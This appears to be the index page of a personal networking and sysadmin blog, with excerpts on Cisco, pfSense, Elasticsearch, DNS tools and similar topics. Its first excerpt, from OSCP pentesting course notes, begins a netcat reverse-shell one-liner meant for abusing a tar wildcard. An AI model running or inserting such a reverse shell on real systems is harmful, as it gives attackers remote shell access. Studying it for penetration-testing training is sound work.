Shells
The following is notes from my pentesting course for OSCP If there is a app using tar * you can do the following echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc…
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June 29, 2021
Configure MPLS GNS3
In this article you can use it to see how a MPLS works in production on a small scale. In production you would have much more Routers to configure but…
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August 1, 2019
Centos 7 x64 Elastic Search 6.2
In my development environment I have been playing around with Elastic search and have to say it is pretty neat how you can centralize your windows logs and view them…
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April 12, 2018
Debian 9 LAMP
I finally made the switch from Centos to Debian which I felt has more updated packages and much larger community. Here are the steps I took to setup one of…
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April 12, 2018
Cisco NetFlow IOS And IOS XE
Cisco IOS Steps Configure the following on the interface you want to capture netflows on. Most cases you would enable on WAN and LAN interface gig0/0/0 description WAN ip nbar…
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April 12, 2018
Install Pfsense
I thought it would be a good time to dig deep and see what is really going on in my network at home with all these smart devices you don't…
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March 20, 2018
Windows Ping Sweep for live hosts
I used this one day to see how many IP's I was using in the network by doing a ping sweep. for /l %i in (1,1,254) do @ping 192.168.1.%i -n…
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March 20, 2018
NSLOOKUP DNS tool
I find nslookup a very good tool when trouble shooting DNS records, here are some examples on how it can be used. Note you can use this on Linux,Windows…
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March 20, 2018
Upgrading Nexus 9508 NX OS
Backup the running config off of the switch Verify you have sufficient space on both Sup's; delete older unused file images (not the current image!) if required dir bootflash://sup-local/ dir…
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March 20, 2018
Configure HP Virtual connect to use Port Channel on Cisco Switch
Login to Virtual ConnectClick on Shared Uplink Sets Click on EditMake sure Connection Mode is set to AutoAdd Active Links and click on Save belowOn Cisco SwitchConfigure Port Channel Group interface…
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March 20, 2018